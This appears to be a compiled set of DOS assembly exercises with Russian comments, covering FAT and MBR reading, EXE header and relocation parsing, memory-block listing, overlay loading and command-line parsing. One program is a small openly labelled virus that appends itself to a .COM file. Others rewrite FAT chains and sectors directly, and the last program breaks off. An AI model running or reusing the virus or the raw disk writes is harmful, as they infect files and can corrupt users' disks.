text segment 'CODE'
assume cs:text;,ds:data
MAIN PROC far
mov ax,es
mov bx,zz
sub bx,ax
mov ah,4Ah ;Сжали блок памяти программы
int 21h
mov bx,144 ;число параграфов, требуемое для размещения FAT
mov ah,48h ;выделили память для FAT
int 21h
mov ds,ax ;в ds - адрес блока памяти программы
MOV AL,00h ;номер дисковода 0=А, 1=В
MOV CX,09H ;Число секторов для чтения
MOV DX,01h ;Номер первого сектора для чтения
xor bX,bx ;Смещение в блоке - 0
INT 25H ;Чтение секторов в буфер
popf
exit:
push ds
mov bx,es
pop es
mov ah,49h
int 21h ;Освобождаем память
mov es,bx
mov ah,4ch
int 21h
MAIN ENDP
text ends
zz segment
zz ends
end
text segment
assume cs:text
start:
push seg data
pop ds
xor ax,ax
mov cx,14
mov dx,19
xor bx,bx
int 25h
popf
xor si,si ;0Bh
mov cx,224
Loop1:
cmp byte ptr ds:[si],0
jnz lab1
inc byte ptr cs:Count
lab1:
mov ax,ds
add ax,2
mov ds,ax
loop Loop1
mov ax,4C00h
int 21h
Count db 0
text ends
data segment
buffer db 14*256 dup (0)
data ends
end start
bufLen = (9*512)/2
text segment 'CODE'
assume cs:text,ds:data
MAIN PROC far
MOV AL,00h ;drive number
MOV AH,00H
MOV CX,09H ;number of sectors to reading
MOV DX,01h ;first sector number
MOV BX,SEG fatBuf
MOV DS,BX
mov BX,offset fatBuf
INT 25H ;reading FAT in buf
popf
call FreeNumb
exit:
mov ah,4ch
int 21h
MAIN ENDP
GetFatElement PROC ;return in CurCluster content of FAT field
mov bx,offset fatBuf
mov ax,CurCluster
shl ax,1 ;cluster * 2
add ax,CurCluster ;cluster * 3
test ax,1
pushf
shr ax,1 ;cluster * 1.5
add bx,ax
mov ax,[bx]
popf
jz B1
mov cl,4 ;multiply is not an integer
shr ax,cl
jmp B2
B1: and ax,0fffh ;multiply is an integer
B2: mov CurCluster,ax
ret
GetFatElement ENDP
FreeNumb PROC
mov cx,bufLen
start:
mov ax,CurCluster
mov saveCluster,ax
push cx
call GetFatElement
cmp CurCluster,0
jne @a1
mov ax,saveCluster
inc NumbFree
; call outpt
@a1:
pop cx
mov ax,saveCluster
mov CurCluster,ax
inc CurCluster
loop start
ret
FreeNumb ENDP
outpt proc near; output AX to screen
mov @,0h
xor dx,dx
mov bx,10
C3:
div bx
push dx
sub dx,dx
inc @
cmp ax,0
jne C3
mov cx,word ptr @
mov ch,0h
C4:
pop dx
add dl,30h
mov ah,02h
int 21h
loop C4
mov dl,' '
mov ah,02h
int 21h
RET
outpt endp
text ends
data segment
@ dw 00h
fatBuf dw bufLen DUP(0)
CurCluster dw 2
saveCluster dw 0
NumbFree dw 0
data ends
end
codesg segment
assume cs:codesg, ds:codesg, es:codesg, ss:codesg
org 100h
start:
cmp byte ptr ds:[80h],0
je _err
mov bx,82h
_loop01:
mov al,ds:[bx]
cmp al,20h
je _loop00
cmp al,0dh
je _loop00
or al,al
je _loop00
inc bx
dec byte ptr ds:[80h]
jmp _loop01
_loop00:
mov dx,cs
mov es,dx
mov si,bx
mov di,offset _cmdln
xor cx,cx
mov cl,byte ptr ds:[80h]
mov byte ptr es:[_lncmd],cl
rep movsb
xor cl,cl
xchg ds:[bx],cl
; cmp cl,0dh
mov ax,3d00h
mov dx,0082h
int 21h
jc _err
xchg ds:[bx],cl
mov dx,cs
mov ds,dx
mov word ptr ds:[offset _handle], ax
mov bx,ax
mov ax,3f00h
mov cx,001ch
mov dx,offset _hndl
int 21h
jc _err
mov ax,4201h
mov bx,word ptr ds:[offset _handle]
xor cx,cx
mov dx,word ptr ds:[offset _TabOff]
sub dx,001ch
int 21h
mov ax,3f00h
mov bx,word ptr ds:[offset _handle]
mov cx,ds:[offset _HdrSz]
shl cx,4
sub cx,001ch
mov dx,offset _Table
int 21h
jc _err
mov ax,offset _Table
mov cx,ds:[offset _HdrSz]
shl cx,4
sub cx,001ch
add ax,cx
mov bx,ax
shr bx,4
and ax,000fh
je _loop03
inc bx
_loop03:
mov ax,4a00h
int 21h
jc _err
mov ax,5a4dh
cmp ds:[_MZ],ax
jne _err
mov bx,ds:[offset _PgCnt]
dec bx
shl bx,1
xchg bh,bl
mov cx,ds:[offset _PartPg]
add bx,cx
mov cx,ds:[offset _HdrSz]
shl cx,4
sub bx,cx
mov ds:[offset _Exelen],bx
mov cx,bx
shr bx,4
and cx,000fh
je _loop02
inc bx
_loop02:
add bx,0010h
mov ax,4800h
int 21h
jc _err
mov es,ax
mov dx,ax
mov ax,2600h
int 21h
mov di,0080h
mov si,offset _lncmd
mov cx,80h
rep movsb
mov ax,4200h
mov bx,ds:[offset _handle]
xor cx,cx
mov dx,ds:[offset _HdrSz]
mov cl,dh
shl dx,4
shr cx,4
int 21h
mov ax,3f00h
mov bx,ds:[offset _handle]
mov cx,ds:[offset _Exelen]
mov dx,0100h
mov si,es
mov ds,si
int 21h
mov bx,word ptr cs:[offset _RlCnt]
_loop05:
and bx,bx
jz _loop04
dec bx
push bx
shl bx,2
mov cx,word ptr cs:[offset _Table+bx]
mov dx,word ptr cs:[offset _Table+bx+2]
mov bx,cx
mov ax,es
mov cx,ax
add ax,dx
mov es,ax
mov ax,ds
add ax,0010h
add word ptr es:[bx+0100h],ax
mov es,cx
pop bx
jmp _loop05
_loop04:
mov ax,3e00h
mov bx,ds:[offset _handle]
int 21h
mov ax,word ptr cs:[offset _ReloSS]
mov bx,word ptr cs:[offset _ReloCS]
mov cx,word ptr cs:[offset _ExeSP]
mov dx,ds
add dx,0010h
add ax,dx
add bx,dx
mov ss,ax
mov sp,cx
mov ax,word ptr cs:[offset _ExeIP]
mov word ptr cs:[offset _Jump],ax
mov word ptr cs:[offset _Jump+0002h],bx
jmp dword ptr cs:[offset _Jump]
; mov ax,4900h
; int 21h
; mov ax,4c00h
; int 21h
_err: mov ax,cs
mov ds,ax
mov dx,[offset _msg1]
mov ax,0900h
int 21h
mov ax,4c00h
int 21h
_msg1 db 'Произошла ошибка!', 0ah, 0dh, '$'
_Jump dw 0000h, 0000h
_lncmd db 0
_cmdln db 7fh dup(0)
_handle dw 0
_hndl:
_MZ dw 0 ;'MZ'
_PartPg dw 0 ;PartPage
_PgCnt dw 0 ;PageCount
_RlCnt dw 0 ;ReloCount
_HdrSz dw 0 ;HeaderSize
_MinMem dw 0 ;MinMem
_MaxMem dw 0 ;MaxMem
_ReloSS dw 0 ;ReloSS
_ExeSP dw 0 ;ExeSP
_ChckSm dw 0 ;CheckSum
_ExeIP dw 0 ;ExeIP
_ReloCS dw 0 ;ReloCS
_TabOff dw 0 ;TabbleOffset
_Overl dw 0 ;Overlay
_Exelen dw 0
_Table dd 0
codesg ends
end start
I#if#include<строка>.
Текст программы:
model tiny
Jumps
codeseg
org 100h
start:jmp begin
err1 db 13,10,'Найдена не правильная опция',13,10,'$'
err11 db 13,10,'Не найдена опция 1',13,10,'$'
err2 db 13,10,'Использован неправильный разделитель',13,10,'$'
err3 db 13,10,'Нет опций',13,10,'$'
opt1 db 13,10,'Найдена опция i',13,10,'$'
opt2 db 13,10,'Найдена опция fy',13,10,'$'
opt3 db 13,10,'Найдена опция include',13,10,'$'
nets db 13,10,'нет параметров у include',13,10,'$'
odd db 0
say macro mes
lea dx,&mes
mov ah,9
int 21h
endm
begin:
mov di,80h
mov cl,[di]
cmp cl,1
jle vizout1
tst11:
inc di
dec cl
jz bed1
mov al,byte ptr [di]
mov ah,'#'
cmp al,ah
jnz tst11
dec di
mov ah,[di]
cmp ah,'i'
jne nxt
say opt1
mov ah,[di+2]
cmp ah,'f'
jne nxt
mov ah,[di+3]
cmp ah,'y'
jne nxt
say opt2
mov ah,[di+4]
cmp ah,'#'
jne notrazd
jmp iii
vizout1:jmp vizout
ext1:jmp ext
bed1:jmp bed11
iii:
mov ah,[di+5]
cmp ah,'i'
jne nxt
mov ah,[di+6]
cmp ah,'n'
jne nxt
mov ah,[di+7]
cmp ah,'c'
jne nxt
mov ah,[di+8]
cmp ah,'l'
jne nxt
mov ah,[di+9]
cmp ah,'u'
jne nxt
mov ah,[di+10]
cmp ah,'d'
jne nxt
mov ah,[di+11]
cmp ah,'e'
jne nxt
say opt3
add di,12
sub cl,13
cmp cl,0
jle netslov
povt: mov ah,[di]
mov odd,ah
say odd
inc di
dec cl
jz ext
jmp povt
nxt:
say err1
jmp ext
bed11:
say err11
jmp ext
vizout:
say err3
jmp ext
notrazd:
say err2
ext:
mov ax,4c00h
int 21h
netslov:
say nets
jmp ext
end start
При запуске программы без опций выдается сообщение
“нет опций”, при задании параметров выводится информация
о том, какие опции были найдены в командной строке.
codesg segment para
assume cs:codesg, ds:codesg, ss:codesg
org 100h
.286
SetCur macro x, y
mov dh, y
mov dl, x
call Locate
endm
Print macro string
mov dx, offset string
mov ah, 09h
int 21h
endm
start:
mov ax, 0600h ;cls
mov bh, 07h
mov cx, 0000h
mov dx, 184fh
int 10h
mov bx, offset MBR
mov ax, 0201h ;прочитать сектор
mov cx, 01h
mov dx, 0080h ;диск C:
int 13h
jnc mbr_s
Print mbr_error
jmp exit
mbr_s:
cmp word ptr es:[bx+01feh], 0aa55h ;MBR signature
je work
Print aa55h_error
jmp exit
work:
SetCur 25, 5
Print tab_head
mov ch, 07
mov di, offset part1
lp1:
SetCur 13, ch
mov dx, di
mov ah, 09h
int 21h
inc ch
add di, 000bh
cmp ch, 11
jb lp1
mov di, bx
add di, 01beh ;первый раздел
mov ch, 7
lp2:
call PrnInfo
add di, 10h
inc ch
cmp ch, 11
jb lp2
exit:
mov ax, 4c00h
int 21h
PrnInfo proc near
push di
push ax
inc di
mov al, byte ptr es:[di] ;begin head
xor ah, ah
call Convert
SetCur 28, ch
Print result
inc di
mov ax, word ptr es:[di]
push ax
xchg ah, al
shr ah, 6 ;AX - cylindr
call Convert
SetCur 35, ch
Print result
pop ax
and ax, 003fh ;AX - sector
call Convert
SetCur 43, ch
Print result
pop ax
pop di
ret
endp
Locate proc near
push ax
push bx
mov ah, 02h
xor bh, bh
int 10h
pop bx
pop ax
ret
Locate endp
Convert proc near
;переводит содерживое AX в ASCII$ строку
push ax
push bx
push cx
push dx
push di
push si
lea di, result
lea si, temp1
xor cx, cx
mov bx, 000ah
cnv_lp1:
xor dx, dx
div bx
add dx, 30h
mov [si], dl
inc si
inc cx
cmp ax, 0000h
jne cnv_lp1
dec si
std
cnv_lp2:
lodsb
mov [di], al
inc di
loop cnv_lp2
cld
mov byte ptr [di], '$'
pop si
pop di
pop dx
pop cx
pop bx
pop ax
ret
Convert endp
;-------------------
nl EQU 0dh, 0ah
mbr_error db nl, "MBR read error!$"
aa55h_error db nl, "MBR signature error!$"
tab_head db "Головка Цилиндр Сектор$"
part1 db "Раздел №1:$"
part2 db "Раздел №2:$"
part3 db "Раздел №3:$"
part4 db "Раздел №4:$"
temp1 db 5 dup(0)
result db 6 dup('$')
MBR db 512 dup('?')
;-------------------
codesg ends
end start
;Вывести размер текущей программы
;ProgSize = (PageCnt-1)*512 + PartPage - HdrSize*16
bufSize = 100
CODESG SEGMENT PARA 'CODE'
ASSUME CS:CODESG,DS:DATASG
BEGIN PROC FAR
PUSH DS
SUB AX,AX
PUSH AX
MOV AX,DATASG
MOV DS,AX
;ОТКРЫТЬ ФАЙЛ НА ЧТЕНИЕ
MOV AH,3DH
MOV AL,0
LEA DX,FN
INT 21H
MOV handle,AX
;УСТАНОВКА КУРСОРА НА НАЧАЛО Ф-ЛА
MOV AH,42H
MOV AL,00H
MOV BX,handle
MOV CX,0
MOV DX,0
INT 21H
;ЧТЕНИЕ ИЗ Ф-ЛА
MOV AH,3FH
MOV BX,handle
MOV CX,bufSize
MOV DX,OFFSET buf
INT 21H
;ЗАКРЫТЬ ФАЙЛ
MOV AH,3EH
MOV BX,handle
INT 21H
lea bx,buf
mov ax,[bx+2]
mov PartPage,ax
push bx
call vivod
pop bx
mov ax,[bx+4]
mov PageCnt,ax
push bx
call vivod
pop bx
mov ax,[bx+8]
mov HdrSize,ax
push bx
call vivod
pop bx
;РАСЧЕТ РАЗМЕРА ЗАГРУЖАЕМОЙ ЧАСТИ
;ProgSize = (PageCnt-1)*512 + PartPage - HdrSize*16
mov ax,PageCnt
dec ax
mov bx,512
mul bx
;--------------------------------------
add ax,PartPage
mov ProgSize,ax
mov ax,HdrSize
mov bx,16
mul bx
;--------------------------------------
sub ProgSize,ax
mov ax,ProgSize
call vivod
exit:
mov ax,4c01h
int 21h
BEGIN ENDP
VIVOD proc near
;ПРОЦЕДУРА ВЫВОДА НА ЭКРАН ЦЕЛОГО ЧИСЛА В РЕГИСТРЕ AX
mov @,0h
xor dx,dx
mov bx,10
C3:
div bx
push dx
sub dx,dx
inc @
cmp ax,0
jne C3
mov cx,word ptr @
mov ch,0h
C4:
pop dx
add dl,30h
mov ah,02h
int 21h
loop C4
mov dl,0ah
mov ah,02h
int 21h
mov dl,0dh
mov ah,02h
int 21h
RET
VIVOD endp
CODESG ENDS
DATASG SEGMENT PARA 'DATA'
fn db 'prg_size.exe',0
handle dw ? ;дескриптор файла
buf db bufSize DUP(' ') ;область размещения первых байт заголовка файла
PageCnt dw 0 ;длина загружаемой части в страницах, включая заголовок
PartPage dw 0 ;длина последней неполной страницы
HdrSize dw 0 ;размер заголовка в параграфах
ProgSize dw 0
@ dw 00h
DATASG ENDS
END BEGIN
;работает с дискетой
;ошибки
;0-все в порядке
;1-нет имени файла,не могу открыть файл
;2-не правильный дескриптор файла
;3-не тот диск
;4-не могу прочитать кластер
;6-в цепочке BAD
;8-в файле один кластер
;7-не могу считать FAT
;0B-не правильный кластер
;9-не могу изменить FAT
;0А-не могу записать кластер
.286
;include user.inc
.com 16
org 80
how_bytes label byte
org 100
begin:
cld
xor cx,cx
mov cl,how_bytes
mov bp,1
jcxz exit1
mov di,81
call DEF_FILE
mov ax,3d00
int 21
jc exit1
mov di,18
add di,ax
mov cl,[di]
mov ah,52
int 21
lds di,es:[bx+4]
sft:
cmp cx,[di+4]
jb here
sub cx,[di+4]
lds di,[di]
mov bp,2
cmp di,0ffff
je exit1
jmps sft
here:
mov al,3bh
mul cl
add di,6
add di,ax
mov ax,[di+0bh]
mov cs:beg_clus,ax
lds si,[di+07]
mov bp,3
cmp bpt [si],2
jnb exit1
push cs
pop es
mov di,off dpb
mov cl,21
rep movsb
push cs
pop ds
mov ax,beg_clus
next_clus:
push cur
pop prev
mov cur,ax
call GET_VAL
jc exit1
mov bp,6
;;
jmps mer
exit1: jmp exit
mer:
;;
cmp ax,0ff7
je exit1
cmp ax,0fff
jne next_clus
mov bp,8
cmp prev,0
je exit1
;чтение конечного кластера
mov ax,cur
call CLUS_TO_SEC
mov dx,ax
xor ax,ax
mov al,sec_clus
inc ax
mov cx,ax
mov al,dsk
mov bx,byte_sec
add bx,off buffer
mov bp,4
int 25
pop ax
jc exit
;поиск свободного кластера
mov ax,cur
mov tested,ax
next_free:
inc tested
mov ax,tested
call GET_VAL
jc exit
or ax,ax
jnz next_free
;изменение fat
mov ax,cur
xor dx,dx
call SET_VAL
jc exit
mov ax,tested
mov dx,0fff
call SET_VAL
jc exit
mov dx,ax
mov ax,prev
call SET_VAL
jc exit
;запись в ранее свободный кластер
mov ax,tested
call CLUS_TO_SEC
mov dx,ax
xor cx,cx
mov cl,sec_clus
inc cx
mov al,dsk
mov bx,off buffer
add bx,byte_sec
mov bp,0a
int 26
pop ax
jc exit
normal_exit:
mov bp,0
exit:
mov ax,bp
call WORD_P
mov ax,4c00
int 21
prev dw 0
cur dw 0
tested dw 0
WORD_P proc
push cx
mov cx,0404
LLL: rol ax,cl
push ax
and al,0F
aam
aad
org $-1
db 11
add al,30
int 29
pop ax
dec ch
jnz LLL
pop cx
ret
endp
DEF_FILE proc
mov al,' '
repe scasb
mov dx,di
dec dx
repne scasb
jcxz cx_zer
dec di
cx_zer:
mov bpt [di],0
ret
endp
CLUS_TO_SEC proc
push bx
dec ax
dec ax
mov bl,sec_clus
inc bx
mul bl
add ax,data_sec
pop bx
ret
endp
SET_VAL proc
;ax=номер кластера
;dx=значение кластера
pusha
mov bx,dx
call LOAD_FAT
jc badset
mov si,dx
mov di,dx
lodsw
test flag,1
jz evenN1
oddN1:
mov cl,4
shl bx,cl
and ax,0f
jmps setting
evenN1:
and bh,0f
and ax,0f000
setting:
or ax,bx
stosw
SAVE_FAT:
mov al,dsk
mov cx,1
mov dx,cur_fat
mov bx,off buffer
mov bp,9
int 26
pop ax
badset:
popa
ret
endp
flag db 0
GET_VAL proc
;ax=номер кластера
push si
push cx
call LOAD_FAT
jc badget
mov si,dx
lodsw
test flag,1
jz evenN
oddN:
mov cl,4
shr ax,cl
jmps goodget
evenN:
and ah,0f
goodget:
clc
badget:
pop cx
pop si
ret
;ax=значение кластера в fat
endp
LOAD_FAT proc
;ax=номер кластера
push ax
push bx
push cx
and flag,0
test al,1
jz fl0
fl1: or flag,1
fl0: mov bx,3
mul bx
shr ax,1
mov bx,byte_sec
xor dx,dx
ncs:
cmp ax,bx
jb zero_
sub ax,bx
inc dx
jmps ncs
zero_:
xchg ax,dx
mov bp,0b
cmp ax,sec_fat
ja badload
add ax,res_sec
mov bx,off buffer
add dx,bx
cmp ax,cur_fat
je not_load
push ax
push dx
mov dx,ax
mov cx,1
mov al,dsk
mov bp,7
int 25
pop ax
pop dx
pop cur_fat
not_load:
pop cx
pop bx
pop ax
ret
badload:
stc
jmps not_load
;dx=смещение в текущем буфере
endp
cur_fat dw 0
beg_clus dw 0
lb equ label byte
lw equ label word
dpb label byte
;начало блока параметров диска
dsk lb
org dpb+2
byte_sec lw
org dpb+4
sec_clus lb
org dpb+6
res_sec lw
org dpb+0bh
data_sec lw
org dpb+0f
sec_fat dw 0
org dpb+1dh
free_clus lw
org dpb+21
buffer lb
end begin
Program Segment para 'code'
Assume cs:Program,ds:Program
org 2Ch
EnvSeg Label word
org 100h
Start: mov ds,EnvSeg
xor si,si
cld
L00: lodsb
test al,al
jz Exit
int 29h
jmp short L00
Exit: mov al,[si]
test al,al
jnz L00
ret
Program Ends
End Start
haw_sector macro cluster;вход-выход ax
mov ax,cluster
call _how_sector
endm
giv_cluster macro digit;ds:bx-адрес fat
push bx
mov ax,digit
call _cluster
pop bx
endm
write_cluster macro kuda,chto;ds:bx-адрес fat
local odd_cl,cont
push bx
mov ax,chto
push ax
mov ax,kuda
mov cx,ax
mov dx,ax
shr dx,1
add cx,dx
add bx,cx
mov dx,[bx]
test ax,1
jnz odd_cl
and dx,1111000000000000b
pop ax
jmp cont
odd_cl: and dx,0000000000001111b
pop ax
mov cl,4
shl ax,cl
cont: or dx,ax
mov [bx],dx
pop bx
endm
print macro string
mov ah,09h
mov dx,offset string
int 21h
endm
Title first
.model small
.code
org 100h
start:jmp begin
fcb db 1,'file txt',25 dup (0)
eror db 'Ошибка!',10,13,'$'
prev_first dw 0
prev_second dw 0
prev_free dw 0
end_cluster dw 0
beg_sector dw 0
offset_claster dw 0
mes db 'ЭТОТ КЛАСТЕР БЫЛ ПОСЛЕДНИМ'
buf db 512 dup (0)
begin:
mov ah,11h
lea dx,fcb
int 21h
jnc cont0
_eror: print eror
int 20h
cont0: mov ax,es:9bh;начальный кластер
push ax;начальный кластер
mov prev_first,ax;начальный кластер
mov prev_free,ax ;начальный кластер
call _how_sector
mov beg_sector,ax
lea bx,buf
mov dx,ax;начальный сектор
mov cx,1
xor ax,ax
int 25h
pop cx
jc _eror
pop dx ;начальный кластер
do: giv_cluster dx
mov end_cluster,dx
cmp dx,0ff7h
jge go
mov ax,prev_first
mov prev_second,ax
mov prev_first,dx;адрес последнего в prev_first
mov prev_free,dx
jmp do
go: mov ax,prev_first
inc ax
mov prev_free,ax ;свободный кластер в prev_free
giv_cluster ax
cmp dx,00h
jne go
write_cluster prev_second,prev_free
write_cluster prev_free,end_cluster
write_cluster prev_first,0000h
lea bx,buf
mov dx,beg_sector;начальный сектор
mov cx,1
xor ax,ax
int 26h
pop cx
jnc cont1
eror_: print eror
int 20h
cont1:
lea bx,buf
mov dx,0
mov cx,1
xor ax,ax
int 25h
pop cx
jc eror_
mov ax,32
mov dx,[bx]+11h
mul dx
mov cx,[bx]+0bh
div cx
push ax
mov ax,[bx]+16h
xor cx,cx
mov cl,[bx]+10h
mul cx
mov dx,[bx]+0eh
add ax,dx
pop dx
add ax,dx
sub ax,2
mov offset_claster,ax
lea bx,buf
mov dx,prev_first
add dx,offset_claster
mov cx,1
xor ax,ax
int 25h
pop cx
jc eror_
lea bx,buf
mov dx,prev_free
add dx,offset_claster
mov cx,1
xor ax,ax
int 26h
pop cx
jc eror_
lea bx,buf
mov di,bx
lea si,mes
mov cx,26
rep movsb
xor ax,ax
mov si,26
cycl: mov [bx+si],al
inc si
cmp si,512
jnge cycl
mov dx,prev_first
add dx,offset_claster
mov cx,1
xor ax,ax
int 26h
pop cx
int 20h
_how_sector proc near
push bx
push cx
push dx
mov cx,512
mov bx,ax
sub bx,cx
cmp bx,cx
jge div_
xor ax,ax
cmp bx,0
jnge exit
inc ax
jmp exit
div_: xor dx,dx
div cx
cmp dx,1
jnge exit
inc ax
exit: inc ax
pop dx
pop cx
pop bx
ret
endp
_cluster proc near
mov cx,ax
mov dx,ax
shr dx,1
add cx,dx
add bx,cx
mov dx,[bx]
test ax,1
jnz odd_cl
and dx,0000111111111111b
jmp cont
odd_cl: mov cl,4
shr dx,cl
cont: ret
endp
end start
.model tiny
.code
org 100h
begin:
mov ax,ds
mov bx,20h
add ax,bx
mov word ptr ovdat,ax
mov ax,4b03h
push ds
pop es
lea bx,ovdat
lea dx,ovname
int 21h
mov ax,word ptr ovdat
mov es,ax
call overdat
call overdat+50h
int 20h
ovdat: dw 0
dw 0
ovname: db 'overlay.ovr',0
org 200h
overdat:db 256 dup (0ffh)
end begin
Overlay.asm
.model tiny
.code
org 100h
begin:
lea dx,mes1
mov ah,9
int 21h
ret
mes1: db "Точка входа 1",10,13,"$"
org 150h
lea dx,mes2
mov ah,9
int 21h
ret
mes2: db "Точка входа 2",10,13,"$"
end begin
Model Tiny
CodeSeg
Org 100h
Start:
jmp Init
Mess db 'Пиздец пришел уже!!!',10,13,'$'
S_Time dw 1020h
Init:
mov ah,2Ch
int 21h
cmp cx,S_Time
jne Init
mov ah,9h
lea dx,Mess
int 21h
mov ah,4Ch
int 21h
end Start
Model tiny
CodeSeg
Org 100h
start:
lea bx,Last
add bx,100h
shr bx,4
mov ah,4Ah ;сжать блок
int 21h
mov bx,1000h
mov ah,48h ;выделить блок
int 21h
mov es,ax
lea dx,FilName
mov ax,3D02h ;открыть файл
int 21h
mov bx,ax ;запоминаем дескриптор
push ds
push es
pop ds
xor dx,dx
mov cx,0FFFFh
mov ah,3Fh ;Читать из файла
int 21h
pop ds
mov cx,es:0
mov word ptr Buffer,cx
mov cx,es:2
mov word ptr Buffer[2],cx
mov byte ptr es:0,0E9h ;Код команды jmp
mov si,ax
sub si,3
mov word ptr es:1,si
add si,3
push bx
lea bx,L1+2 ;Настройка первого элемента
mov [bx],al
lea bx,L2+1 ;Настройка второго элемента
push ax
add ax,31+100h
mov [bx],ax
pop ax
lea bx,L3+1 ;Настройка возврата
mov cx,offset L3 - offset Virus + 3
add cx,ax
xor di,di
sub di,cx
mov [bx],di
lea bx,Virus
mov cx,70
xor di,di
Loop1:
mov dx,ds:[bx+di]
mov byte ptr es:si,dx
inc si
inc di
loop Loop1 ;Цикл копирования вируса в программу
pop bx
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
mov ah,40h
mov cx,si
push ds
push es
pop ds
xor dx,dx
int 21h
pop ds
exit:
mov ah,49h ;освободить блок
int 21h
exiterr:
mov ah,4Ch
int 21h
Virus:
mov ah,9
mov dx,35+100h
L1:
add dx,0 ;Уже скорректировано!
int 21h
mov si,100h
L2:
mov bx,00 ;Смещение буфера в новой программе. done
mov cx,[bx]
mov cs:si,cx
mov cx,[bx+2]
mov cs:si+2,cx
L3: db 0E9h,0,0 ;jmp start
Buffer dd ?
Mess db 'Привет всем, я злобный вирус!',10,13,'$'
FilName db 'a:\done.com',0
Last:
end start
include user.inc
.com 16
org 100
begin:
mov ah,4a
mov bx,(razm+40f)/10
int 21
mov sp,razm+400
mov bp,off stroka
;вывести заголовок
call print
mov di,bp
mov cx,len
mov al,' '
rep stosb
inc bp
mov ah,52
;получить дрес списка списков
int 21
;взять адрес первого MCB
mov ax,es:[bx-2]
push cs
pop es
mov adr,ax
new_mcb:
mov ds,adr
xor si,si
mov di,off buf
push di
mov cx,10
cld
rep movsb
push cs
pop ds
pop si
push si
mov di,bp
lodsb
;вывести маркер
int 29
scasw
scasb
inc adr
mov ax,adr
push ax
;вывести адрес блока
call word_s
scasw
lodsw
push ax
;вывести адрес хозяина
or ax,ax
jz free_block
call word_s
cont1:
scasw
lodsw
add adr,ax
;вывести размер блока
call word_s
scasb
lodsw
lodsb
mov cl,8
;вывести имя программы
pop bx
pop dx
cmp bx,dx
jne it_s_not_programm
push di
push cx
mov di,si
mov al,0
repne scasb
jne cont3
inc cx
cont3:
push cx
dec di
mov al,' '
rep stosb
pop bx
pop cx
sub cx,bx
pop di
rep movsb
cont2:
mov di,bp
;вывести строку
call print
pop si
lodsb
;проверить это был последний блок
cmp al,4dh
je new_mcb
mov ax,4c00
int 21
_free db 'Free'
free_block:
mov cl,4
push si
mov si,off _free
rep movsb
pop si
jmps cont1
it_s_not_programm:
mov al,' '
rep stosb
jmps cont2
WORD_s proc
push cx
mov cx,0404
LLL: rol ax,cl
push ax
and al,0F
aam
aad
org $-1
db 11
add al,30
stosb
pop ax
dec ch
jnz LLL
pop cx
ret
endp
print proc
pusha
mov dx,bp
mov ah,9
int 21
popa
ret
endp
adr dw 0
stroka db 'M Address Owner Size NameProg',eos
len = $-stroka-3
buf label byte
razm = $-begin+100
end begin
code segment
assume ss:code,cs:code,ds:code,es:code
org 100h
_begin:
mov bx,0
mov cx,code
mov bp,0
mov ds,[es:2ch]
_loop:
mov ax,[ds:bx]
and ax,ax
jz _end
and al,al
jz _endline
inc bx
jmp _loop
_endline:
mov al,24h
xchg byte ptr [ds:bx],al
call _print
xchg byte ptr [ds:bx],al
inc bx
mov bp,bx
jmp _loop
_end:
mov ax,4c00h
int 21h
_print:
push ax
mov ax,0900h
mov dx,bp
int 21h
mov ax,0900h
mov dx,offset _temp
push ds
mov ds,cx
int 21h
pop ds
pop ax
ret
_temp db 0ah,0dh,24h
code ends
end _begin
Пусть имеется массив int t[i1...k1,...,in...kn] , который отображается в int T[1...N] , где :
n
N = П (km -im +1)
m=1
Вычисление индекса l в одномерном массиве T зависит от того, каким образом многомерный массив отображается на одномерный.
По столбцам :
где Dm =(km-1 - im +1)*Dm-1 для m = 2,n
_TEXT segment para public 'CODE'
org 100h
assume cs:_TEXT,ds:_TEXT,ss:_TEXT
main proc near
mov di,81h
@1: cmp byte ptr ds:[di],20h
jne @2
inc di
jmp short @1
@2: cmp word ptr ds:[di],'pe'
jne @4
inc di
inc di
cmp byte ptr ds:[di],'1'
jne @3
call ep1
jmp short @5
@3: cmp byte ptr ds:[di],'2'
jne @4
call ep2
jmp @5
@4: mov ah,09h
lea dx,msg0
int 21h
@5: mov ah,4ch
int 21h
main endp
ep1 proc near
mov ah,09
lea dx,msg1
int 21h
ret
ep1 endp
ep2 proc near
mov ah,09
lea dx,msg2
int 21h
ret
ep2 endp
msg0 db 'Syntax: 2ep[.com] ep(1,2)',13,10,'$'
msg1 db 'Entry_point_1',13,10,'$'
msg2 db 'Entry_point_2',13,10,'$'
_TEXT ends
end main
bufSize = 100
bufRtSize = 0FFFh
Say macro MESSAGE_ADDR
lea dx,&MESSAGE_ADDR
mov ah,9
int 21h
endm
CODESG SEGMENT PARA 'CODE'
ASSUME CS:CODESG,DS:DATASG
BEGIN PROC FAR
PUSH DS
SUB AX,AX
PUSH AX
MOV AX,DATASG
MOV DS,AX
;ОТКРЫТЬ ФАЙЛ НА ЧТЕНИЕ
MOV AH,3DH
MOV AL,0
LEA DX,FN
INT 21H
MOV handle,AX
;УСТАНОВКА УКАЗАТЕЛЯ НА НАЧАЛО Ф-ЛА
MOV AH,42H
MOV AL,00H
MOV BX,handle
MOV CX,0
MOV DX,0
INT 21H
;ЧТЕНИЕ ИЗ Ф-ЛА
MOV AH,3FH
MOV BX,handle
MOV CX,bufSize
MOV DX,OFFSET buf
INT 21H
lea bx,buf
mov ax,[bx+6]
mov ReloCnt,ax
push bx
call vivod
pop bx
mov ax,[bx+18h]
mov ReloOff,ax
push bx
call vivod
mov ax,ReloCnt
mov bx,2
mul bx
mov ReloSize,ax
pop bx
;УСТАНОВКА УКАЗАТЕЛЯ НА НАЧАЛО RT
MOV AH,42H
MOV AL,00H
MOV BX,handle
MOV CX,0
MOV DX,ReloOff
INT 21H
;ЧТЕНИЕ RT ИЗ Ф-ЛА
mov ax,ReloSize
mov bx,2
mul bx
MOV CX,AX
MOV AH,3FH
MOV BX,handle
MOV DX,OFFSET bufRt
INT 21H
;ЗАКРЫТЬ ФАЙЛ
MOV AH,3EH
MOV BX,handle
INT 21H
lea bx,bufRt
mov di,0
outRt:
push bx
Say mess1
mov ax,[bx+di]
call vivod
pop bx
inc di
push bx
Say mess2
mov ax,[bx+di]
call vivod
pop bx
dec ReloCnt
inc di
cmp ReloCnt,0
jne outRt
exit:
mov ax,4c01h
int 21h
BEGIN ENDP
VIVOD proc near
;ПРОЦЕДУРА ВЫВОДА НА ЭКРАН ЦЕЛОГО ЧИСЛА В РЕГИСТРЕ AX
mov @,0h
xor dx,dx
mov bx,10
C3:
div bx
push dx
sub dx,dx
inc @
cmp ax,0
jne C3
mov cx,word ptr @
mov ch,0h
C4:
pop dx
add dl,30h
mov ah,02h
int 21h
loop C4
mov dl,0ah
